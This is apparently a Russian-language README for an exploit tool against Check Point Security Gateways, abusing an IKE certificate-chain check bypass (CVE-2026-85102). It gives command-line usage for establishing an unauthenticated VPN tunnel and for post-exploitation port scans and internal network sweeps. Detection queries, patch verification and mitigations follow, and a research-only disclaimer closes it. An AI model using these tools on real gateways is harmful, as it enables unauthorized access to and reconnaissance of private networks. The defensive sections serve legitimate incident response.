
Обход аутентификации и удалённое выполнение кода в удалённом доступе и VPN типа «сайт-сайт»
Эксплуатирует CVE-2026-85102 для установления неаутентифицированного VPN-туннеля на Check Point Security Gateway путём обхода проверки цепочки сертификатов IKE.
Официальный бюллетень Check Point: sk1000117
Продукт: Check Point Security Gateway, Check Point Spark Firewall
Затронутые версии: R81.20, R82, R82.10 (pre-Bundle T24), R80-R81.10 (все EoS)
Не затронуто: R82.20
Компонент: libcpcert.so — fwKeyHolder_imp::IsChainTrusted()
Корневая причина: IsChainTrusted() вызывает CanonizeChain(), но игнорирует возвращаемое значение. Даже если канонизация цепочки завершается неудачей, функция возвращает TRUSTED.
Эксплуатация: Атакующий может:
CanonizeChain()CVE-2026-85102.py # CVE-2026-85102: VPN tunnel establishment (auth bypass)
cp_postex.py # Post-exploitation helper (tunnel management, recon)
pip install cryptographyopenssl, iproute2 (команда ip), nc (netcat)testuser)# Establish tunnel with certificate bypass
sudo python3 CVE-2026-85102.py<target_ip> -u <vpn_username>
# Output includes Office Mode IP, e.g., 172.16.10.3
# Clean up tunnel
sudo python3 CVE-2026-85102.py--cleanup
# Establish tunnel and save state
sudo python3 cp_postex.py tunnel up <target_ip> -u <vpn_username>
# Check tunnel status
sudo python3 cp_postex.py tunnel status
# Scan gateway ports through tunnel
sudo python3 cp_postex.py recon scan
sudo python3 cp_postex.py recon scan -p 80,443,18190-18208
# Sweep internal networks through tunnel
sudo python3 cp_postex.py recon sweep 192.168.1.0/24
sudo python3 cp_postex.py recon sweep 192.168.1.0/24 -p 22
# Tear down tunnel
sudo python3 cp_postex.py tunnel down
sudo python3 cp_postex.py tunnel down -f # Flush all xfrm state
| Параметр | Описание |
|---|---|
<target_ip> | IP-адрес шлюза Check Point |
-u <username> | Имя пользователя VPN (по умолчанию: testuser) |
-l <local_ip> | Ручной локальный IP для систем с несколькими интерфейсами |
-c <cert_host> | Альтернативный хост для извлечения сертификата ICA |
--cleanup | Удалить конфигурацию туннеля |
Проверьте журналы на наличие аномальных входов в Mobile Access на основе сертификатов. В SmartConsole/Spark Management перейдите в Logs & Monitor / Logs & Events и выполните поиск событий после 12 сентября 2026 года:
product: "Mobile Access" AND action: "Log In" AND "Certificate"
Проверьте события для нераспознанных пользователей, клиентов или исходных IP-адресов.
Обнаружены подозрительные субъекты сертификатов:
CN=vpn,OU=users,O=globalCN=vpn-user,OU=users,O=globalCN=vpnuser,OU=users,O=globalУстановите LivePatch Take 26 (BUNDLE_URGENT_SECURITY_UPDATE):
Проверьте установку:
# Check LivePatch status
cplp list
# Expected output includes:
# cpcert:cpca* CVE-2026-85102 CVE-2026-85103
# cpcert:iked* CVE-2026-85102 CVE-2026-85103
# cpcert:vpn* CVE-2026-85102 CVE-2026-85103
# cpcert:vpnrad* CVE-2026-85102 CVE-2026-85103
# cpcert_cprid:cprid* CVE-2026-85102 CVE-2026-85103
Исправление изменяет libcpcert.so:
// IsChainTrusted: Check CanonizeChain return value
result = CanonizeChain(this, trusted_ca, sorted, out, i, trust_type);
if (!result) {
trusted_ca = NULL;
}
return trusted_ca;
// CanonizeChain: Check intermediate operation returns
if (!CopyChain(...)) return NULL;
if (!TruncateChain(...)) return NULL;
Отключите неявные правила VPN и вручную задайте доступ VPN для UDP/500 и UDP/4500 для конкретных IP-адресов пиров. См. sk179346.
Отключите неявные правила Remote Access VPN. Создайте явные правила контроля доступа, разрешающие необходимые службы Remote Access VPN к Security Gateway:
Примечание: Эти меры по снижению риска не применимы к локально управляемым межсетевым экранам Spark.
Данный код эксплойта предоставляется для целей исследования безопасности и тестирования. Используйте его в собственных системах или при наличии явного разрешения владельца системы.